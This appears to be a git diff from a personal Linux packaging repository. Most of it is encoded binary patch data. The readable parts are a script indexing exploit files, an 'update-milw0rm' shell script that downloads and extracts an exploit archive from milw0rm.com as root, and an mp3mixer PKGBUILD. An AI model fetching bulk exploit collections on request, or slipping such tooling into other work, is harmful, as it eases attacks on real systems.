z3Bc?UF@c8z0w>`G1AZ(&CXc{jXe*C5oNjJUn^${HU0ho0*YRWWZ~XM%Hi{*MeHeYA zIyYk4{vj|QA}Yto`JF;{Kj-+)nr{n*efQ@rO0)jzUaNXIiv4o+W(AglHxjYP58-%| zt0#O}aL905=@N`ur|(sVCO4%o5sBlZlic{K)g%Ds$JpoVwgxINfD(r zm-=s+fP?v{lqT@C8*e(w=E}G#noKMA9@VWm%(XiHwqpcd4fzK4%OYgAJ--J``SPM= z5Lf5SJ?c$PwYln#P(?|z1#7pcXlCSll0jpqf)p0)OIwxitbDTsU6bT#{G4BU;%dC3 z9zU<=`67QthsKDTWc#+_#NQOl5U!2sd2GmC#T4^ZEm#n}J~EPiVf5t?4(0OHqCkbj5FVe6ti5uHB)dM<_pU?bU)o)yd~U!Cm@al3;;C#f)3)d~n-Yk=cbX2N$L_@iFK8_S89;jw}hU^jh zT(5NK$rEz*7vw(cew~dR-eM4D96I;a zsS8u#zb#0J6~c)@Uz_37{~yJQ5Z#`nM1F6H)b(y1><`ag9D05A{TqIF7&I|Li@%Y+ zO!J$*7)U^^84(lED49z}60IFmmM21f#y592AJ2!qrt5~R_xWiiEEZOP8$ydfV$3Pz z66GaoOX~Xhc>Q~xEEXvaQ4mR+mL2Q?h-|Lbzd)Vy}$jW+z~XQ#HBiv=g`VFpD4G)gLW?3w$@ z@7B@y!_HemW$=`!QrIE0zKOdQ`}JEnqo86xdnbKYJ5ArqqrGB^fHkfeX+ZQRS5#)* ztI~b$jM?8X37>4r5YtW_r3+ON@@CYitoPt^y15V>EP&>dCDxK-1I$nU>WE`cfrp#@X1;X~=(w(t!CZbC=XH#{sjYlq(%Cn2kJbs)HZ)bW5}pCOg|Up`I9|ltb&UaJdU&o_uT~ zU0hKX%j<2QsI46JYS*g$!5I25ck z;;)WADz6X1$)Qrv={HMv4Gtx_42zC6_Zz%NwGv#&sQvKV1$WTU1ad)J#?iojABg9U zGAjn1%ytrk9)z~U+F(KH|scpy8aEg=)pPQ>ydhm$fe^ z@=Xb8S1w6{X*Z!HVz*SaP{RJ|7fz;Qi`abMnmO1B_vh^YC+%P^Z=T~LLrKIL%tnh= zHSiqw`EW?M+kUpoQes>;SQ(O*>okIp=xjeliZ9`D*fyz!_(=poJpU(Zp*up>Vi0ZV z<&+liFJ*mxHp1ZH;_86McBVlZE$J^yc^KmEb}qRN9L!!g!hBhL1bl! z!{nCysh!8fKjT3>$}*w~MVH4&V^p8jzhS!xp5p(ngE8)qr|x-w4-6^DftxP^`z;Sa z!<7aUh<>YE1Ll&NyJbX@GWp)I5Q@IyTFKEiC)^GY;=h$fU%-^SO6w{$=xOsm9iY9O zlci(3Se(IwM|Z(ZXAMVKyMm>2PJP(&?t)sBFzIlwLR>hQxk=c)fA>!bz$Nd!OM?EU z3@U1y?)hUd;4ya&QB_usF0lCex^DCDb?M;clJek26sb@}!2UF)N1eL4OVVI|xav}x zG3xHrOUh>yXO0;IbxJ4V2Z!;wr02a5yq>P@E6Fptr<>i>l*cM~lgA!70ol&tOm($O zVlHWSdXVOSp;cD~%_raQufqL9{>a;tcWm#DRC0H;5Sez){7-uB0o6>O1d`BwgJkWc z1@*O%6pWovvf2<(1W6O-YD74rVkcG@4;MQ3n@%UlcV`uZ?##G2F|x45WUgf{#HBgz zj8}wV*Wp|CZT6c!8QB7UgRJ+asy+W7ts_1=vFCDN_!*C&*{9}U?N8EwCVH^`dY z6~0|s;w0F6$w?|>SFhr&9x1f4MLo~*#dtACBFSEwY=;%%d3q=d}8is9H-+acExjc>laXx0MtYC3>7rv^i-lwg`uu zldj$9=g7k;c~Cq;j@R3b_{i;Xc~_}`OktQo*pNj`tcDBfU(fW2@jCQ!do*4|)4`~w zX;z^x-;Kw_u$0Q&3hgz^l_6w7^}3jQ#%BQ$KwdfG8$mo{F##X3J;am@PtcFrB1MdhF?lUw$U$Ym_T$G<@)ef zqr`g8JwKB@bMvRK1(9bsCVG$f%rP1woMTQWXw*eZ{FQOQCRAAJ+cnDFwgBtXa#;UR zTJT6eD7Ews5FhnXAc+f^AY=nFh=ExQkP(m>3aE^N5+fjz2+p>U{!gcf9iij>>8ff615Afk9Vx4zf zQ_gmt6?cl$<&e5gug!oY{f89FE8aE@=55x3n{h!_I_VjzdiaDn=Y1Bj-SrF{WLmd%G z6b+%@+$uxHaP&wIf_Zi83B1upstkw8*(<9zH#SKT@Dnk@q2!C6X}qzkyB{Gc8n@%; zSr<9m=7@n2nP=*jUe<};f+Jl@m5AouYB!yh$4x{~DsXr*r|OEV+=7N^);-l<&Pb2r*(TDH=r@S{E6l5^QZ*tCrT zdZHr@!NFPBTY3`H`@FWQ8CMHJSZ%G#w>-b zvLFq+uKnV#M6$@639hgW=6B_)GhLGQZeOi!pOAr~lW~0}nb~~Q%JUa)CTALclHYnN zco-`_O40=sqc`v7uHKp;W1HG*E*SWIshQtSek$>8wFanK4vGDsjoQ6CFQ;(=RR9i@ zflW1Q&W8rOb7SAgtCJi2-hxgQ-SCHeV{1|XX@eyRpXZ*71ES*NW`2tr?=757AYrv| z)QB!A;?I`*mTmf#eVYiKE01SH;41| z(`8c&dOS(-LW|H#HA42*FU&HEt18`v)eOlx`1DntT?{qlaJT17kL2EtO@63@Sfbi5 z+{F~S;q&7ObX2I__BnO)|0{kiS+EVuV%h68Btk|@^!p+Z`P5Yb&Yt{p_a9z6#L;wg z&nk3J(gAt*KIdtY+Bek?h7(_#>+F1U*+yEmL`-Vn)|(az^kSD$k31)qZY^8RH+D~{ z35W`#m+;|@`*BGp#HQhqC^T@DNp|*Eq}t=iNU`3F+m0Bs@I@|qZk!{==e|M?nQS3{ zaA=l|suRdF*9u6 zWA*pnO$77oToT{qqhuvqb;B$J4OJ7Tq_5KT~9rS*`ULIDt)K+eHGimcX4q3XzQAw!}~JUWmXuo{Qq~2dwSoZc`<0` zqhOSC?ZvEgHpQDGSG^f}x;PqMb{x$G`ZF;lwD!?=hnl_vJxJlt8CYASR3wXBUMR*~ zbCe~egz=}SqmCNz=I{9R({4zea@TtEr%Koyxe2g765WCKE+IbzJ}D>F72RE~sLZ9d zsv{^4q06kVi&o^9u*XH5u?|vfj*<4M-o-SAHIjQ{nw~uGJuM{Ic7&8KE1_owCiN@B z22#b#iR!x;dO3!QM&y}}X_^*)Wc*B2VRLa};`yW55MXU98?cy1WlcL6n{m)pNL?JY z$HB;ZUr&$8*|h;?WK|Kye^#s}x7yz>=YDgr}=C>akvuY*c0;77V&9mPYE%^^wH1-f~HU@7La!F$7I|G#nJvj$+Kojd5N* z%M>TN&KusvqK71UeigXgnYS*DdtmT2lS4^}9=);BIX*fhmQ?~c?9>&ik_AMZO+D^P zW@M8*7L3?dSOUF;9ZyR;*cFl+I;Cvu-@e;nmd7qG1%hZP6XFzd6>?zrjpfchTm5HJ z``_KqU`4>4Q=c@ok(9CWMIu2u6D6;&Cbz8*BG}kt7>#hsR5&`|#6rSLk|%^v3uQdS zxfY%(l84)ag@@=&Xf_AQ996#m8xD7yW!s*p_iVNF-V%W~-pIzEEkogGSG0T$6=NGF z1%E~J!OTNyOQ4bu2cy;baxS@-o~z{UEMn}jXr&Ot0zM?g+H_`1X8XvNXMVUb?|hY$ z)4vQmFO2ik)JK;4DIao3&s&CXkb(e`xPpY1rMTa-b5a_7`A$84*{deEN zDteynk|hF_7=E!eiggT1gy_2|;V^S>V7 z1V)KAu4Pl`T8(=5BSlnIO!w^jdWYB8Y3^-84{ir`@N>>Qr=LZ`fi6JDg!e1&>GT>H z*>4QzLE!|1jsd6$GJ~o}pm)?kM;KMyPwbM$QDqcWMH>%vu%!strjIcAL@Gokv0k`I za@+X`j5#rP%yOQ|$o%LXN ziJ~6^F$E+rAAKc^LntUI`L#_QHrAw^TE-4jV5$P?(437=sWdY~TMi&;jX`U<`8V;# zN_me!%zWb7%|8-U(Z9(&G|xuO5O%0$pSj5jFd_=>&4I|{5Rj0QNttRs86c+mw_hFi zJ8uk7^n9LduQ=jW*xtZ^+Fws zUI8NZ*8!elFxzotu7i;6} ze5+!$Ti3qqNw?6(xB0sPW79~i=o6%}3BRm+I<7t>NI)P&AQ3`9j21=(=I?mMs1#L2 z^Mx{m>`r7R-GU>zsTG^*wYI8A7%GhxgBYkd zIU!OCR2Sn&)lpX7iBBYeb;OZ?k@31QGfhoUH+Zay6Osiwt>&Te-`v%vf`S@a@FBx& z+cVjB3{+*7SqiL`(r+R?DuAJ^PM-Jm+fl^B?PH;(7 zgmvHDeM|Dp({e|Eju|L7`s%f0W{-!$uid3ibhCFSiA|^*c322nk$oAS(sJI=Qn*Ux zRfGwD^y;RZ$2bKZV?(L^b_laX5?IVma{c0z)jRZcg5uQT1Ts<|2O z7Tk$)hsMc8EUC`>Cbsvx<1|+8A+ch<3!l55ILUh1x6NH-f{ zIx~)`c`VS9^^(5HI9@B2kzbQbtE&3z=3WWu9~9I^(kW&kw!7vCpQ%+f*@Mp-)4$xo5`MIY*Dv zf%!XI-`CCE#}hsrxEvLAGBKhKBU^SceQ2`rVlsPaZ1o8v<>v3Bk~=XmlvD*c=}`CF zGiNxbJ^X#nWj~4GXtSeFjln{(1_sg1HGHSkKxjD&4ULkHf|%1EH`6oky0u+%e>OC{ zWPKvVDg=f6LXBl}3Z~^Myu!tVg>>;UPO`^8a#2+I_f_b+TkU7y>&42zZ9dNNj6a{t zS+bpQo7?R=VFmH@D%r(Oc8`S zOb&8F9C8^_kIF1WV#E>zT^xEs#+?NrhcBL+96d#Iheaj`r7Huy!2uqqh2>;8smq}z z^jbf^mqN{-1m`032^D#j1;{Zb(rvshv7Q;`W7OyFd%^vhF#2wsN1Mc-&s#yJ=2WHc8V{I*P9#-%gp=991S%OzBX>$b1n0piS%(pYSltz=5{+^#ky$>H+x=j zzlAAnqb{(X)i0YlJype3U%I)Q{=Dx$6PhaL7?Rh;7r4Clb&I~T4-0KO+jlaXW)t3f)(5S7gOSY%fkUW16?m6*JUmDpzc9cyvt3eUY z%&9cJ#uezmvYC#$$<(4okz|20+bcFWH%<%j5Hyi9_HJmaN6Yk{4eI;UOI$@uyPC_< zMfG+RNgXoUvRpJGSl@|aZSu7fDu}y_y8$QI=D&H&PFIt`RLDFa7&i&;U3NP&UyPuj zR24+?DcTB_@lIO;DGlfvp_~N>V>*2$`_Ys@8%-4u2S%Sw>(?s^p(kf<>$=De+t)@{z z8F)Skuay#(Spg|Lu2)PYNQBxIImi>0;NE^beh{mz1xg95bn;HCWvgUR&ZiCrSz7c` zGm?N)6b!(H8n{P~;2>m(o6SoTw8a+DG<88LQTy!$M8G~bJ|ULsuumdY!9u3VuCTDc zmWZR_4?YCFLJ=t->vB6J$uNdxtqt|jZ;pf^X)+Uk}I`6CgD2oU7p!3}E? zS$*-b^=}EgL_WJ!-{u;d)kww_oQfU}8aW(jE`n$9^+UsCn;y8%K+|m2{ z_nu1+9J@~oB~EBfDvJgPBvJ=*RY~_!6%-f)1`OkD$vrLXrz|Ui`4NhA8J_JFFY{R? zdqJpWd5A|DlwVS0qdHz0V1vsfP^@#Z8>aGMzLP1ls;(0Pjbt{j6pyo2awEAs$nZMI z)C{Pi6v#;K9`=K7>JgUFd7IHhAcCx8Y<%r3(l+0JKf7P2-#ecXGXwM=4xC4!wAgVy zVjQ!d$*j7()i(S`1g>%NZ;aTv^&Wk&VO%l4-@DRrcezVp5_j*tB@?+8@`)`kPH2d+ zFCP2~c*t3vD*kuiVx&OYAfys|phcTAuy&d6v%pcfA>G4FcB0n{B!wsBNei5e0j?Kf&K1EIiu#YVeAxG!*f9>EyeD?4|fJ zI*n50HJ>++C=?d??fkk0MNVSI$!^hl!Va8GlC51$jTh!zVTS=aqQH3Tf1g(gqhMHj2m-2&37AP5|>hBXyAf%3Q2v8 zWZEOblpg~=yX$y~BY%-==gT9!1a34x#8Z_h-9!hcT+@TFp${CnWY4yo-62tdNb;IH zWuF;hE>O}rt0-e4c5MC ztIfehO8lEHtqvn!9Z0WzpK#gTF4%V`5)+OR{oXxq-^h^u!^Q)l#W zY|lJVmeR~RiAT@0ZgSF%!1^r&{cWd8c5s}jwuJboI(l^Fs#@CeZ7+m&t!WKHcXoSk zTj83OJEh|q6oqG-D%H_H1}S4jt+Lni`TYL_eP2K&zC8CzX{StyZhPLfMc&X!?Pl)V zn`NxEz^gScQG@vDnzy;>(Od7d-ma^*<$ecljZP$Hf(|iT#c4xz9-4gFOHlf}HPcUI zRrNr(nl)3md6#`2?_Xclr|Nwuva8gf4(O{r(_x=YeGZRSL*I*|9tS#l{lybd(l;$r zzYS?jkTQ2U>nFyYNMFka*}kg38yD;Qhoudw5HVallfiles.txt +for file in $(cat allfiles.txt);do +echo $file $(head -1 $file|cut -d" " -f2-30)|grep -v CVS >>sploitlist.txt +done +rm allfiles.txt +echo "Done!" +echo 'You can "cat sploitlist.txt |grep -i exploit"' + diff --git a/milw0rm/update-milw0rm b/milw0rm/update-milw0rm new file mode 100755 index 0000000..2201ad4 --- /dev/null +++ b/milw0rm/update-milw0rm @@ -0,0 +1,32 @@ +#!/bin/bash +#download, update and query local exploit database from milw0rm.com +target_dir="/opt/milw0rm" + +case "$1" in + update) + if [ $UID != 0 ]; then + echo 'You must run Milw0rm update as root!'; + exit; + fi; + echo "Downloading exploit archive from Milw0rm..." + mkdir -p "$target_dir" + cd "$target_dir"; + wget "http://www.milw0rm.com/sploits/milw0rm.tar.bz2" + echo "Extracting archive..." + tar jxpf milw0rm.tar.bz2 + rm milw0rm.tar.bz2 + cd milw0rm + ;; + search) + cat "$target_dir/milw0rm/sploitlist.txt" | grep -i "$2" + ;; + usearch) + $0 update + $0 search "$2" + ;; + *) + echo "Local Milw0rm.com exploit database updater" + echo "Target directory: $target_dir" + echo "usage: $0 {update|search regexp|usearch regexp}" +esac + diff --git a/mp3mixer/PKGBUILD b/mp3mixer/PKGBUILD new file mode 100644 index 0000000..a2b6a62 --- /dev/null +++ b/mp3mixer/PKGBUILD @@ -0,0 +1,28 @@ +# Contributor: Thomas Mudrunka +# Maintainer: Thomas Mudrunka +# You can also contact me on http://blog.harvie.cz/ + +pkgname=mp3mixer +pkgver=0.01 +pkgrel=1 +pkgdesc="Scott's Mp3 Mixer - simple system to let you mix multiple mpeg audio streams in real time" +url="http://szyzyg.arm.ac.uk/~spm/mp3mixer.html" +license="GPL" +arch=('i686' 'x86_64') +depends=('mpg123' 'alsa-oss') +source=("http://szyzyg.arm.ac.uk/~spm/mp3mixer.tar.gz") +md5sums=('24897b1d7f6778dbfef1b56f2e3ebb01') + +build() { + cd ${srcdir}/ || return 1 + make mixer || return 1 + + mkdir -p ${pkgdir}/usr/bin/ + cp -f mixer ${pkgdir}/usr/bin/mp3mixer-oss + cat > ${pkgdir}/usr/bin/mp3mixer <^1k!d+j~>J>XvQXB-^ra!4|e`NtR_t7T5+hU`l|5#MA^E zNGOR}2xf^fC73{xC$wZYc>-j2^L>28v1MmBkj=82H9TNleZO<&y^;)u&F+=%y)$R# z&YbhFzkfL|M>vjixYuz4clX}idoCb3xq;)Zz67J=d#||s$|uu*KF)CmM4T`0z4Gdv z-`Vu!TX6k8od4?OSI*2|y=~&h97pK+Ww+dU@b0_{FYaqthhFRKgWrO zab3Lq;5~PrIfFNGSMSETdi$~aZ~Gtr<|B7=oOCV6UE&@-bnw=v-}>6`;@b20UOtQg z`LD=-#j_T1-aCBf$@}_$n_qE=+eQPoGt&0%Z2}f z5$=!wx%|x8-|aKY{PkjrbCu)iD8BG_VtQtoyN-X9p7PhTC(*<8FNux3f_pnhDTiC| zP1x9WZkmm7{G;UUoPv;wK;;jc}~*m`(DR!$`$n?`+3D}dv4{nbKFlv zp*pjH&V>7O-2W)orkClA>Tlw3N4TT-cLe{QCflzeVC0OmS<4^2^-sbB}UQkhvp_)P1+H(zb?(fWGf$s+ z>dfDt`OKNe&wTXE{FD2hyzI$Kp4|N8g7zutuHk#}h@baGWF|1|GUe=9DH{I4LCjYW zC0S85PB%=;c3jU7!YEGCMwS<4vsJY_-Cln%GCDRsF*!9oGdnlGu(-6mvSH(<&0Dsv zZri?t+qnz6yZ6G2E`G@+mtJ=H75nyIdDYbiuDSN5*Ij?ZjW4_D=S}VZbo}O*|DXQF zx%-(N;3kIuPH>+mljN=BIsOU$hr&kTQ^IrNq_|&vt@wN5KS~qQYo+hW6Y_oXA1b_Z zjq;ny_tXp2H>rQFiP~}PdHpi|{rXRgON|GOzcw#4A2k1?m08EFhpg|}%l7;1XPl$X z*WC^7arY};%X`FE{9F7-{O<=raBc9;;Pc^p_~|H$-XA;h_3^XG&g6Zml-`nlppi6Q z+4xa*Z}yXXU;gEyQM|JF>++WJE6s`K9nGg&PV3dJueE;AI#X?}K2ZI~>gl%LUTVLi z{YUMmJ1^}#(D_ui=zhGnyZ2Z9E&UG;WN;b!NRIOlL;e(Q`VR;?4`k^( zTOJd59CCjk&|!%VKc>j!`7Mt@ME+@h!E1Z{w%2ZxOV_?ljJ5y8KYaSOHh(S0L#sLR zJNzjw;pT9(xS4DsO+H$bl|@Ak>@75DjRuVT# zMIkW=pQ#DyWe|~|8uiY$%ft@vtSF8}ii-M+<$}9C|7I?3I zRV1ad(geMaa`*GQFqZ?|bsQHgu9AiMcwuRAWqDyfiA!?c;XH;SN~}RQqQ`L*vg1&Z zJCtPIX#J=|Z(3SpPol^DZnSVzDN{L-B)e>x(v9^mDUw(7jvPx;EO)b2Ig%uEi;b)F zr(MOSP$3ca=V@5!d75fe=}$4^LRtF)y%MDK$wuWboCRHyTXX<_28U1Uhk>ie>S%b7Z%jMiWcNyi;@vC~k?F9})5&hpGy@}Sq`}%3WXtrP`k7lt z3c~+Rr$_jzX!!E*z&rhi#b8b&zb)IAT83^XT6>x57)pNj#xDJfvf zv`SW1`E6togJ51q#_dsvzvJie{FUXU#leygQX!pRrUOeOl*_o|o8k?kL=@}7?Mflf zY|Xt$C3)j2dBx#%O_Um4H!RAADtT_B49ys;Q;F<0LZ;t3Z!@+MsPGQq<*FGgx!jG$wh$|I`g3Kg+43$F zw>rF~L)r5(Op;h8V&Jqe1=Ch?L$w1z(G`&>`cfwtNU0QNvMVs^DWX8Yc@sDxuF4s_1i{Pc^GA8BEM1kae1K; zdX_>+*lldl^w5Zk!r12evYaND8vNr?(Y?`5n%%|9TC&uhI=wpCzQi=lGW7b!z9{L8 z{nA*~&0p>^%diiY;a%L-9M`97r}`}`%=A(j0s$7OOilBc$HF`$F-~e@LA9@>GFEGw zL*x)bc}^~8AfPdMOUo}Tg}=gdBO@rBP&=yY`~hDJogy$I*SvyPtRiTVeTEkrVbQYc z>sG74sb}mXZ>`eUn79+h-_gs^PHgphC;)khqvAL$F}j<-bHa$TCQQ%aJ?yTaI(t(U zuzU6#7Twwo{t8z6GHwABuk9eUeN^pW@S6k+qK2Po)__{PSf)0QUT0SC!&ORc9jUz3 zl4Wu?-rJ}oPdq|o*-EjDqmoZ{R9?f@j)cIWK93 z!=EZcD>?mM+puAb+WZZoZs-cd%ZJaL;rBqd#+Y_7(>bIj*c@Rsczo^GFk9Hr!IDSi zfFh`);>IyKl>Q9XXJU=wSOQD{?|qp2${CKmA`h>m@(s^ zIVloCl(A%myv|*9z2x+F80|3=>cM8#>9v`7>m;J&!|4!bFpY}YnroKiEh!XlgX0w2 zY0*^+`SBYht2qZe13Upnt^L`It;_^1!uLqq3!41t*L<>N05?R^hpcA9C9y$g00@8? zJi~3FQV&_C@CL7iU@=*Tbb%5!p%PDd$#fX!-L^Mam6HVk1^E*@8@}f2J?+1aI1{!+ zc;9zMd(qS1HRsKK(2&$-wswpV!AZ-aa{giM`%=okVb*VgAhI{*W@;(FzFCgj5X+}9 zR{EOhYs7K7&1P&01cQ|SjAzdxmIME($!jz2*OR4lW&|oA6|goCH>Mb{Rn)z8>B2UX z_RN5p&OL5x>kL2tc+?X{x_MKCxm7O|`rBx#u&A3$>{{y!H$+0F!pdzT>JL z^~1lJrz3?;$i@v?M?F?XnVTr%L6E&=oPUaZn4j|sLBNrf4I0_oluTaQ%o9PDbivhA zFDRg;>yp`ro`UC19u^o1Ff>VcHMEjS>vAor3T$fB=HcZH8B!$Zn$cQ&v{br8cLr9L zD@q=c2GvfoUqhT=KBh&!Co8-$Cb=Si#fa$>(=;rQXYDUQaZB7rZfk9?YZt|0G71oe zVp7in<^l$c0YN5Oivz?W3km3SWJi;4x8I{Uj%BD4Uu`2Ks&Xq|{&1B~*$^U9+<4>5 z7`0Y5&;GSssS_zLYIbaEE%{q>D+pNbRoYs6CWbHJJwKm^Mf_zcCHtSc`6+5+Ywn$b z2Lty4&`5+^VI~CzmWB*)E11)Y2mdlnmY4dN)KU6|$RYcOT=T{Os!Z*nEK>jg7~stvVm-5(67DgNIffv=@42+IpYm(hZd)-M7G z{N>cqvS@_{A+2V^JN?`*01Z?#C^CFEMa2vm4o3RZ6ow*L=nqjJ)doOg7%V_np5K-G z-mJCu?ZmPz%O?3?)YZb=HLX1tbZ(yzZ~Xtv*nM4uDD_jO)`&7E*42;3iP8-1SW(7C zqb(WXmmg5f1T;I!{SUmo0AhjPq*32GW~seXjaj0fGk!Ghz}z6?P${k&B$?4%d$dqn zFFs2C5e^gr-t_`M;@D zO;EH-ij*&pgX2YBYNN-n%DU^PA#4*%MfmD1(o_|5^n>;AH|f}v5eXi<0w>!U z+!2jkK5usyZk(DVJb(YQpqWW9IV&v;jpJzh}4=j$2@U$Y-Gy zWvP!ffh5xc0)!EOw2neKECs^C03#2Fd3x218zhmN>Hw>cfhV4=I5H7Lf#^@@fUgmb zRm1)CW$$ykf~DnwaV2SdY`*vBis9qz>A~p*8D3sdoJNm5!c)N zjGFJ;ldB3j{T-sH`JR2b%Dgxb&MqKagB32ZSJ~YesUsex?`q=gznTea-nQ@CDYYI;WmU|c3|n6yvayA zONLb@KCl8V%STd4L%x{M9Peg`4~w3d z3#Y7rv8EYxnzX@n8c>}@*?^L`jV5;B`KeapS1ot=MFSo>TXKNrf*<4oq<7AZ&brOn z#Sudz@zS+nWAnH%sUvy4Jq=RZTr|PbMylUxdKw{l7k_pHBQ(^xxH3}GnIpe3=x>N% z?37@K*+3L^6){S`#LYGGNn@93Mr|&gjl)bTq@gawajLpLhiNZ zI*ptefk%*P1v*{_Fw{ZSNF6|(0@OB567fEKsc*ULML>3CG<)_G5MAS+X6X3zA5S@Y z>WA@|{>1ZwDI~>aIhOeyla8LS(J%g_lzNo^LoLT_`Vcf|@=(p0x1g$mz`BNCO z6f|dcXqnfNLMgT0<;_>Msx3(F8dG=PIccP6phv4j>1joy4eA|54*Osb=v0k)QUC%GQe##k&OTRt|Ih{Ki3c*@N@G-aT-Cz zTY07ZdEtkJZ7z#XSE^bGe>gIjo(r1kC)6_0J|H)h?VFJm;pb%y-!O@^%H4x zU|W;IpOzvomcj=*&53ncqL?O!_Rd54;Tv9%YpBDnhy2zH4Ta%b{HaD6oc;<`NtQR@ z-!2A{pX%ap^)$DE)z^M=i9MGl&q<4H;}=+}hedIa46jRbJ|G1R>R4j4>*4HSF!ccM zh=wK#u5i^IdhbdS1)7tK2v{#Rh0+aLymhfaimW9CBL5&!RpgNGeb^wUe+elrIQqa* zO1`1JJeIOBP0Bz>4(g}>!B0v$$6@>pula&Gwg^%-$xv@Fji}BGVV(n?R>Qh1;G~ng zk#|K^h(005q0Z}lqygv%%r<$99}NW{i!5u?nf*F1Os(DTEKm95xlHLaT7WaB@8L}z zN%nV3H%#bjdP8vo=5_F6C-^Z!y(VIB5w!u>vbvN&bInLcGSA7cEGO{r5%Rl0BMbA? zvQgr})^$7N%5*$0tVGH>UTDt=Mp4dIQ>#_nbsW<&f(bDVt!~n9R(d<@8G_{p*4Y!= z3;0uRG?vY43p+P7%RTKIJs`=%)w0A(+(6Rcjxp>R=R?u8syeO9Q;`|f3 zk~$83mg{op`B-3R*=sM;$x@=S7z=9IVI?f2D}WpsZlvI3VSeeMSwd86)8>sfjA%A$ zW{o_vKZ|S&*~sffg8b0qpN3^zrCBxp&4Q@SjAjG1P=F9NT#+fd$p393c_F{*xtU4U zp5vF!&FK{6@@A@+@Y*bkK7w$)L$i(NI|)j6Y9m-Ur68|GeFo&W&#-#}&`;q%EK0Xi z;}z;Vpgjl&VEOo6+i%e&fIUOytqrqfXRBq9<^{j4g;QzRA0$K`jI~V?@GKz|CTpjf zewqZzl;V<5O&;yVB+&b9E0U#hc9wS(C5v=zG4HqX3AIw+d)1|z->gJ|S#BCNMzvpC zTG-PmH9?p}j*BmzjIz#>Fs5gdN-2M}^xxea8C6T=E3HrSBSz?yiak4xuGEMBk&jh3hoK%zl zguqyP)9a3$+z)A2%@ma&>2r@_*&`{?qiIiGvH5~RN07Jn7ab=|-B2YLqjY?}izol2 z`o3!_TW*G=F5vR;5&5A9csvLDBLOz(bU-V(IffGLrm{R!vhiH*8Z1<*h+y#Ayzie&{N4 zkjaVo*$}r#|8KTxh8BPC$X=wJwP;70r@qn)K?p-p`L#c}+;N=B9b5>M>~2MV-BrP7 zc2OdE`*PGFs7T}MpT{1H9m}wYG;Klqtsq`IK6>X zSt-~8zj4NlQhn^ut)eZq61XZ)JpDDn5eruLXL;~b-0JyQf|_H{i(z#h1fwv5;U@Tp zbMPo;K`$<0Ccs5aB52ztoJt>$C(TB8e$+-lK-7rNrCFgOa=Te(9!%b;MjK~q{c(F@ zn~DHTw0ng&ITDkv`(Ddwl>XXgq*12f{{*#-6sJr+q_kCtDPhs-F8*nnTSB%2CJ%{F zs)8&Yt;1|ZV6rPv*{$`NUaYTCiQr>$4X@k6CM!j{Qnqrh5Q#YQpc;pkZ^PM9+xA>h@5>}G{I($yNg*|{P;|&#mW+<^MN8&TCo7nw4wxfut5Sc@rYZ7dE}0VPkOS?|Hez^QY*@mvF0N-y;g*I>~Cs(RZ~?}lm9Ub z>^Kh#_mK&TFzbxTDV8;?@g;S^Eka`p$~M|$a@NC9&p>e|?Mq?OxI7q%VWBAN>8|u`#ic^#;r2B7&4s~^h{L~8&P~Ger}7SJ9|^AovHTjLe-k=>fVQ^mgdY?< z$#RrOTW;gOA^zRIQwpVLQqdPat~Ntm1afF;NO0Ek-UB&AoCf0#A~H(|`D)YY;XcR} zvx^MEciT1cTOnWmnm%R3hTqWbN%9_ERvdBd8|RI!-NDBAH$s|9-?0Kjgj)4 zA3T2vDYjZ0x)?JXFG0$^1fl6M+UuU2g$^xP$(OH@yk3 zK$f)Z!#JFg3pH)(kjjQ0kZpFJDazX8Q&aroK!>Nl11GKn&+%qvd;AR}mZln}u{x{) z4t*esvCNOaTTmHevjB_8;Aj~X(YxR6kIHTyS*aSWJsRS<&B0HeulA@-%Wt~IfbctE zwQ0Vf&UQ@D-01SqFV)zwE*ulochTcTWq25`)ma0Al^xBy=PgW8v&<&jRNrxA^mz4A zV>|yo%brR(UK58{o4*0K|}_PUnMoHCpVt7X4+BUvZNVp}lh?{Eb*v+*TYxVQY`-Y?6(JuqpX?@j!*nkaUCD?x>OQ;~ za^`^ew@C4{oH>LK$FJ{=F9xGLQ7#&gW-&_2nfBH3Zw;FBVv;xhpZ16wXQ-*@UBop& z0d|U$vuK&d^fyvJ0p8Rh{W%{&8CSCO1qi_6LpDIuPoyib_B@p6*n*jlpdDGzADVNe z)mLacRGwT`&bQJ1-~|;?Z5mIKskuVyYyHI_MY$rKY|f9)AR*<8Wgy9_mGRM7qcBZB z@RV4TdD+lWysM0`bOx@TwG{-KOVegl&_MHHGLjO;wha%BlaP?y=4pDqGNbcZD%)Ruk=RveY8gjGLE5+lPC;35a4hl5>%COlrtQRT(W2 zMbNO2+)wjAaVDD&!kIz=alG;ER19ZUgw!5vr|%}XhCEsTo=tsBs_fQ>)_6bRtX zvur$E%uNw~fu=uDU-FE=&5|VdHjd6WrxNs7rNJV2x)Ow*;2MI&%ckzcfC7f?I-VmH zVa?lg5SJE@f-!kWsni{4*8w*C_edV3rK~$6R_N+dob@)ZT%k`I%bU89?U0)km$wbs zXuiwzEz4AG8^F)CB&6%tS==aC2DOd=sUEXFCb-t0S~8YL6%#+fIZ7ca^8mP1x`*f- z7t!+tbzpi6RcGuLN(5MqH2UJU*_m#PoM5#y4*Q9~Xmob8k@zGv#@4>2`nI7(E{aZX z6=QktO_GcLHX}5_b+xZGl2kQhVKGfbcdXpF`2gAvRyMVY6y=ysTx^)I`st)C$6jEY zI{J#p*H=&;HYM6z!0WN18NRy$i}wIb)&!yvbnp)=V$^NXkOb?h`%&qvk>H>(v=(fJ z+PjqRODv`Q0Bbo_{TsJjg4$}?*a;DYkGs?rF08a7F{_JdqZx`9Tgdl;7`CK%L(4^{ z%d$Q$n(e}p*FJ`;JNXNM$;efV`iIY~pw}ixe0OLli!T6-&>66UVSw5`(kfOBJL_n8 z2vV42Qn|!Gie%P>lG+v~+>|%Wv|KwfJ1ZJi+B9W;)6~r7-^vvycnM0=isPF)`XI!a z`Oz!p26-dk%R!vZbVSH!Daa~1xT$PrjjYw>jo2NEr9UCGZPZW3){Y~rzh-tMKt{!# zMY>)!@&+<)w+iEdQ^m#RNtBaTSK5JRK{_+pDDOq)41(#U(V(rSkr%r*6-uCS=JQWc z{8@Jv)5u_jHs7G{rcO>!U8QJ^kEq?Gyn8`^0c5Z?%7Y_NJtQI*m+WNk=ip)0WH6XjR^m7lLCXRr{ZskY`Iuok zAPy>gL!(N@k!iG18PvtVZyEzz59U`BvwhJ8m0F=Y4*7Str_S2ag>5rQjPl!ZE||lX z@vzYlP##dagXjO}JmijCFBsjRfiR8~dS~rzvb70=)Qdla{WdY1F*<~Q-i#?!V5(l1 z51E^%Xo*?{tdVxw)@G9hqzto?&tvx1+1d9o`!i)2$5K^^=}6|9btj&@d1W$l^2Eb* 